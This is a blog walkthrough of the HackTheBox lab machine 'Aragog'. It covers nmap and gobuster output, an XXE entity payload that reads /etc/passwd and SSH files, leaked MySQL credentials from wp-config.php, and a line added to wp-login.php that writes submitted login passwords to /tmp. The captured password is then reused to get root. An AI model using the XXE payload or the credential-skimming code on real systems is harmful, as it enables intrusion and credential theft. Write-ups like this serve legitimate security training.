Press "Enter" to skip to content

[HackTheBox] Aragog

As usual, started off the machine with an Nmap scan on the target machine.

nmap -sS -sV -Pn -A

Starting Nmap 7.70 ( ) at 2018-06-24 03:58 AEST
Nmap scan report for
Host is up (0.23s latency).
Not shown: 997 closed ports
21/tcp open  ftp     vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-r--r--r--    1 ftp      ftp            86 Dec 21  2017 test.txt
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to ::ffff:
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 1
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 ad:21:fb:50:16:d4:93:dc:b7:29:1f:4c:c2:61:16:48 (RSA)
|   256 2c:94:00:3c:57:2f:c2:49:77:24:aa:22:6a:43:7d:b1 (ECDSA)
|_  256 9a:ff:8b:e4:0e:98:70:52:29:68:0e:cc:a0:7d:5c:1f (ED25519)
80/tcp open  http    Apache/2.4.18 (Ubuntu)
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works

The first thing you should notice is that port 21 (ftp) is allowing anonymous login to a file called test.txt.

root@kali:~/Desktop/HackTheBox/Aragog# ftp
Connected to
220 (vsFTPd 3.0.3)
Name ( anonymous
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> get test.txt
local: test.txt remote: test.txt
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for test.txt (86 bytes).
226 Transfer complete.
86 bytes received in 0.00 secs (954.3679 kB/s)
ftp> exit
221 Goodbye.

Looking at the file, you could see that it was a .xml file but there wasn’t anything that indicated how I could use this to get an entry point into the machine.

root@kali:~/Desktop/HackTheBox/Aragog# cat test.txt

Moving forward, we discovered that port 80 was open and upon navigating to it, I could see that it was the Apache2 Ubuntu Default Page but again nothing that I could use to get to the next step.

I decided to run a quick gobuster scan on the target to see if there was anything hidden I could uncover.

root@kali:~/Desktop/HackTheBox/Aragog# gobuster -u -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,html -t 30

Gobuster v1.4.1              OJ Reeves (@TheColonial)
[+] Mode         : dir
[+] Url/Domain   :
[+] Threads      : 30
[+] Wordlist     : /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes : 204,301,302,307,200
[+] Extensions   : .php,.txt,.html
/hosts.php (Status: 200)

As you can see, there was a single .php file that I could access. Upon navigating to it, I was severely disappointed as it looked like there wasn’t anything I could use.

The source did not contain anything either so I was confused about the significance of this page (was it a rabbit hole?). I navigated into the headers tab to see what kind of response was generated from the server and I came across something very interesting.

You can see that inside of the request headers under “Accept” that it mentions xml and it got me wondering if I could perform an XML Injection using the file that we found earlier.

I quickly loaded up Burp Suite and loaded up the page inside of repeater and sent the request using the XML file from earlier on.

As you can see in the image above, by submitting the contents of the file we retrieved via ftp, the request was changed! More specifically, it looked like the contents of the “subnet_mask” field was being processed. Next thing was to actually see if we can modify the payload to something that we can exploit.

I did a very simple test to see if my test would be processed and you can see from above that ENTITY text was successfully processed under the subnet_mask field. The next thing I wanted to test was how far I could push this vulnerability. The first thing I tried was reading the contents of /etc/passwd.

The payload successfully read the contents of /etc/passwd. This meant that I could potentially obtain flags via this vulnerability. The very first thing I tried to do was read “/root/root.txt” but returned a blank page (meaning that the service was potentially running as another user). The next thing to try was to obtain the user flag which was done by looking at the users “florian” and “cliff” and attempting to get a user.txt file from either one of them.

Getting a shell on the system was rather tricky. After a bit of searching for files, I managed to obtain the private key for the florian user using the following payload.

<!DOCTYPE replace [<!ENTITY file SYSTEM "file:///home/florian/.ssh/authorized_keys"> ]>


There are 4294967294 possible hosts for 
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDnQNC2Y4/vyAtmQGMn8lwLmCawjbX608ffCO8sAdoUyZ/uPh35hAQxsSD7KOPr/JvEkCwXyXaRSF+Tnot2mYLeZ/+w7iuian042SX1Hhy7k4Hl5/yUCM6Drt3FYijvtJOphmtZRWdDifx0obhNv/Prv6BPRH2UP1zQ+FnBGwVCPxooUWfVHUHyf397U8HQAnzU8/EJzdGlUl3BurwEtmtVco2yD5IFR1sFlzesELzUqV7YIH4jHz0dDd14EIvcSlFehhVBngS4KwOjtSULxhKgQGBXHgiBAJbHfi1cKZ7lwlr9Ql13guSy3jDiym1gwfPOyGZQOuSsMkOrqiUvgXIr florian@aragog.htb

I then used this to ssh into the system to get shell access on the machine.

root@kali:~/Desktop/HackTheBox/Aragog# ssh -i florian.key florian@
The authenticity of host ' (' can't be established.
ECDSA key fingerprint is SHA256:phu0FjQg/9nCmL2014AJ9yH4akvraA7Ea5QtE59wqD4.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '' (ECDSA) to the list of known hosts.
Last login: Thu Jun 28 07:14:52 2018 from

Once inside the machine, I always run a few commands:

sudo -l
grep -rnw '/' -e 'password' 2>/dev/null

The first command didn’t generate anything but the second command lead me to a file that was available at /var/www/html/dev_wiki/ called wp-config.php.

Inside of it, I found the credentials for MySQL.

/** MySQL database username */
define('DB_USER', 'root');

/** MySQL database password */
define('DB_PASSWORD', '$@y6CHJ^$#5c37j$#6h');

/** MySQL hostname */
define('DB_HOST', 'localhost');

As I was digging around MySQL, I located a database called wp_wiki. Inside the database I found a table called wp_users where I located a single administrator account.

mysql> SELECT * FROM wp_users;
| ID | user_login    | user_pass                          | user_nicename | user_email      | user_url | user_registered     | user_activation_key | user_status | display_name  |
|  1 | Administrator | $P$B3FUuIdSDW0IaIc4vsjj.NzJDkiscu. | administrator | |          | 2017-12-20 23:26:04 |                     |           0 | Administrator |

Unfortunately, I was unable to crack the password hash meaning I had to look further.
Upon exiting my shell, I tried to list the directory again to see if I was missing anything and I saw that there were no files listed in my current directory anymore.
Confused, I went down a couple directories and re-entered /var/www/html/dev_wiki/ and noticed that the folders were still there.

I decided to run a tool that I found called Pspy (Github) and after waiting a few seconds saw that every few minutes, a script was being run from the cliff user.

2018/07/05 03:32:01 CMD: UID=1001 PID=54456  | /bin/sh -c /usr/bin/python /home/cliff/ 
2018/07/05 03:32:01 CMD: UID=1001 PID=54455  | /bin/sh -c /usr/bin/python /home/cliff/ 
2018/07/05 03:32:01 CMD: UID=0    PID=54454  | /usr/sbin/CRON -f

I then realized that I could most likely steal credentials if I capture the request.
Upon a few google searches and a little investigation, I found that wp-login.php could be modified by my current user.
After this, further research went into how WordPress login functionality works and I modified wp-login.php to capture the POST request on the login form and output it into a file.

Inside of wp-login.php
 * Filters the separator used between login form navigation links.
 * @since 4.9.0
 * @param string $login_link_separator The separator used between login form navigation links.
$login_link_separator = apply_filters( 'login_link_separator', ' | ' );

switch ($action) {

case 'postpass' :
        if ( ! array_key_exists( 'post_password', $_POST ) ) {
                wp_safe_redirect( wp_get_referer() );

        file_put_contents('/tmp/tmp.txt', var_export($_POST, true)); // this is what I added

After the script ran, I navigated to my file and noticed it was populated with the following content:

florian@aragog:/tmp$ cat tmp.txt
array (
  'pwd' => '!KRgYs(JFO!&MTr)lf',
  'wp-submit' => 'Log In',
  'testcookie' => '1',
  'log' => 'Administrator',
  'redirect_to' => '',

I then tried to sudo into the cliff user but the password failed. Just on a hunch, I decided to try the password and root and surprisingly it worked!
All that was left to do was retrieve the root flag!

florian@aragog:/tmp$ su - cliff
su: Authentication failure
florian@aragog:/tmp$ su
root@aragog:/tmp# cd && cat root.txt

Definitely a fun and challenging box!

One Comment

Leave a Reply

Your email address will not be published. Required fields are marked *